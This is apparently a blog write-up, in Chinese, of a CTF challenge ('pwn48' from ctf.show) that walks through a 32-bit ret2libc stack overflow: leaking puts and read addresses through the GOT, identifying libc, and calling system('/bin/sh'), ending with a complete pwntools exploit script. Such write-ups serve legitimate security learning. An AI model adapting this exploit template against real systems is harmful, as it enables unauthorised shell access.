mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
800 文字
2 分
pwn48:用puts泄漏libc
2026-05-31

前言#

pwn48是一道32位的ret2libc题目。题目提示里说可以使用write函数泄漏地址,但是这个程序里没有write@plt,实际可以用puts完成泄漏。

这道题的核心思路是:

  1. 利用栈溢出控制返回地址。
  2. 调用puts(puts_got)泄漏puts在libc里的真实地址。
  3. 再调用puts(read_got)多泄漏一个函数地址,用来辅助确定libc版本。
  4. 计算system"/bin/sh"的地址。
  5. 最后执行system("/bin/sh")

信息收集#

先看一下程序的保护:

checksec file pwn48

结果如下:

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
Stripped: No

可以得到几个关键信息:

  • 这是32位程序,所以函数参数通过栈传递。
  • 没有Canary,可以直接栈溢出。
  • NX开启,不能直接往栈上写shellcode执行。
  • 没有PIE,程序本身的地址固定,可以直接使用pltgotmain地址。

再看一下导入函数:

elf = ELF('./pwn48')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
main_addr = elf.sym['main']

程序里有putsread,没有write。所以这里选择用puts泄漏GOT表中的函数真实地址。

漏洞点#

反汇编可以看到漏洞函数ctfshow里调用了read

0804860e <ctfshow>:
8048611: 53 push ebx
8048612: 83 ec 74 sub esp,0x74
...
8048622: 68 c8 00 00 00 push 0xc8
8048627: 8d 55 95 lea edx,[ebp-0x6b]
804862a: 52 push edx
804862b: 6a 00 push 0x0
804862f: e8 2c fd ff ff call 8048360 <read@plt>

这几句等价于:

read(0, buf, 0xc8);

其中buf的位置是[ebp - 0x6b]。也就是说,缓冲区距离保存的ebp0x6b字节,再覆盖返回地址前还要经过4字节保存的ebp

所以偏移是:

OFFSET = 0x6b + 4

第一次泄漏#

32位函数调用时,栈上的布局是:

函数地址
返回地址
第1个参数
第2个参数
...

如果想调用:

puts(puts_got);

payload可以写成:

payload = flat(
b'a' * OFFSET,
puts_plt,
main_addr,
puts_got,
)

这段payload执行时的含义是:

puts_plt -> 跳去执行 puts
main_addr -> puts 执行完以后返回 main
puts_got -> puts 的参数

为什么要返回main

因为第一次payload只负责泄漏地址,还没有getshell。让程序回到main,程序就会重新打印提示并再次进入ctfshow,我们就可以发送第二次payload。

泄漏函数可以写成:

def leak(io, addr):
payload = flat(
b'a' * OFFSET,
puts_plt,
main_addr,
addr,
)
io.recvuntil(b'O.o?\n')
io.sendline(payload)
return u32(io.recvn(4))

这里的:

return u32(io.recvn(4))

意思是接收4字节泄漏内容,并按照32位小端序转换成整数。

确定libc#

只泄漏一个函数地址时,可能匹配到多个libc版本。所以这里再泄漏一个read地址:

puts_addr = leak(io, puts_got)
read_addr = leak(io, read_got)

然后交给LibcSearcher

libc = LibcSearcher("puts", puts_addr)
libc.add_condition("read", read_addr)

这两句的意思是:

  • 已知puts真实地址是puts_addr
  • 再加一个条件:read真实地址是read_addr

这样可以更准确地确定远程环境使用的是哪个libc。

确定libc以后,就可以计算基地址:

libc_base = puts_addr - libc.dump('puts')

然后计算system"/bin/sh"

system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

getshell#

最后调用:

system("/bin/sh");

32位payload写法是:

payload = flat(
b'a' * OFFSET,
system,
0,
bin_sh,
)

其中:

system -> 要执行的函数
0 -> system执行完后的返回地址,随便填一个占位
bin_sh -> system的第1个参数

这里的0不是参数,它是假的返回地址。因为在32位调用约定里,函数地址后面紧跟返回地址,参数在返回地址后面。

完整exp#

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./pwn48')
HOST = 'pwn.challenge.ctf.show'
PORT = 28212
OFFSET = 0x6b + 4
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
main_addr = elf.sym['main']
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process('./pwn48')
def leak(io, addr):
payload = flat(
b'a' * OFFSET,
puts_plt,
main_addr,
addr,
)
io.recvuntil(b'O.o?\n')
io.sendline(payload)
return u32(io.recvn(4))
def shell(io, system, bin_sh):
payload = flat(
b'a' * OFFSET,
system,
0,
bin_sh,
)
io.recvuntil(b'O.o?\n')
io.sendline(payload)
io.interactive()
def main():
io = start()
puts_addr = leak(io, puts_got)
read_addr = leak(io, read_got)
libc = LibcSearcher("puts", puts_addr)
libc.add_condition("read", read_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
log.success(f"puts_addr = {puts_addr:#x}")
log.success(f"read_addr = {read_addr:#x}")
log.success(f"libc_base = {libc_base:#x}")
log.success(f"system = {system:#x}")
log.success(f"bin_sh = {bin_sh:#x}")
shell(io, system, bin_sh)
if __name__ == '__main__':
main()

运行远程:

python exp48.py REMOTE

总结#

pwn48和前面的ret2libc题很像,不过这次没有直接使用write泄漏,而是换成了puts泄漏GOT表。

这道题最重要的知识点是:

  • 32位程序参数在栈上传递。
  • 函数地址后面紧跟的是返回地址
  • GOT表里保存的是libc函数的真实地址。
  • 可以通过puts(函数got)泄漏libc地址。
  • 泄漏后返回main,是为了重新触发漏洞,发送下一阶段payload。
  • 最终通过system("/bin/sh")getshell。

这类题的模板可以记成:

第一次:泄漏 libc 地址 -> 回 main
第二次:system("/bin/sh")
共有

この記事が役に立ったときは、ぜひ他の人に共有してください!

pwn48:用puts泄漏libc
https://www.moegeek.org/posts/pwn48-ret2libc/
著者
ウサギ娘
公開日
2026-05-31
ライセンス
CC BY-NC-SA 4.0

一部の情報は古い可能性があります

目次